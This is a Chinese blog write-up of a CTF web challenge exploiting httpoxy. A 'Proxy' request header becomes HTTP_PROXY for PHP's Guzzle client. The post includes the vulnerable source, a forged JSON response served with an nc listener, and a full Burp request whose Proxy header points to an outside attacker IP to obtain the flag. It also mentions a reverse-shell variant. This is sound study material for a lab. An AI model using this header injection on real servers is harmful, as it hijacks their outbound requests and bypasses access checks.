大佬友鏈(狗頭):https://www.cnblogs.com/p201821440039/
參考博客:
https://www.zhaoj.in/read-6407.html
https://cjm00n.top/2020/02/29/V-N%E5%85%AC%E5%BC%80%E8%B5%9B2020-writeup/
https://www.cnblogs.com/20175211lyz/p/12398612.html
https://www.cnblogs.com/wangtanzhi/p/12388331.html
https://buki-freak.github.io/2020/03/04/V-N-%E5%86%85%E9%83%A8%E8%80%83%E6%A0%B8-wp/#TimeTravel
菜雞當時沒有打出來,后來趁着還有記憶趕快記錄一下!
首先進入就直接給了源碼:

<?php error_reporting(0); require __DIR__ . '/vendor/autoload.php'; use GuzzleHttp\Client; highlight_file(__FILE__); if(isset($_GET['flag'])) { $client = new Client(); $response = $client->get('http://127.0.0.1:5000/api/eligible'); $content = $response->getBody(); $data = json_decode($content, TRUE); if($data['success'] === true) { echo system('/readflag'); } } if(isset($_GET['file'])) { highlight_file($_GET['file']); } if(isset($_GET['phpinfo'])) { phpinfo(); }
代碼的主要含義就是:
1.傳入一個flag,就會去請求HTTP-api服務,假如該服務器返回success的話,就會執行程序讀取flag,傳file進入的話就會去讀取這個文件,如果是pipinfo,則執行phpinfo
起初也沒發現怎么做,后來復現的時候才知道是考的CGI特性,了來源是VULHUB的一道題
首先隨意看看phpinfo,貌似沒有什么
趙師傅的博客里寫了:
然后才知道
在大佬的提示下:此處是use GuzzleHttp\Client,Guzzle 使用的是 RFC 3875 (CGI)
因此考點就是httppoxy這個東西
那么是怎么利用的嘛:
是因為其的代碼以cgi模式運行,那么cgi模式是啥?
CGI是common gateway interface的縮寫,大家都譯作通用網關接口,但很不幸,我們無法見名知意。
總所周知,web服務器所處理的任務都是靜態的,假如其要想處理動態的任務,則需要web應用程序的幫助,比如PHP,jsp,python,perl等
為了將web服務器的動態請求傳遞給這些應用程序,依靠cgi協議。
簡單的cgi工作方式:
有多種方式可以執行cgi程序,但對http的請求方法來說,只有get和post兩種方法允許執行cgi腳本(即上面的search程序)。實際上post方法的內部本質還是get方法,只不過在發送http請求時,get和post方法對url中的參數處理方式不一樣而已。
更多關於CGI詳細的解釋:鏈接
然后關於cgi'還有好多東西,后面再整理一篇博客(我又挖坑給自己跳了)
總而言之就是這個規則會將header中的proxy參數設置沖環境變量HTTP_PROXY
以下是影響范圍:
所以跟之前的那道題一樣,要在監聽端口,於是開一台內網服務器
(網上有兩種方法都嘗試了,但是只有下面這種我拿到flag了)
使用下面的exp:
建一個b.txt文件

HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 06 Mar 2020 18:27:31 GMT Content-Type: text/html; charset=UTF-8 Connection: Keep-alive Content-Length: 16 {"success":true}
然后傳到服務器上(也可以在服務器上直接vim,但是我的xshell好像有問題)
然后運行監聽端口
nc -lvp 8888 < b.txt
然后bp發包如下(重點是最后一句):

GET /?flag=123 HTTP/1.1 Host:xxxxxxxxnode3.buuoj.cn:27571 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 Proxy: http://174.0.236.30:8888
然后就拿到flag
突然發現還有兩種解法:第二種解法 這個使用php -S 0:xxxx端口語句
第三種解法 這個解法是反彈shell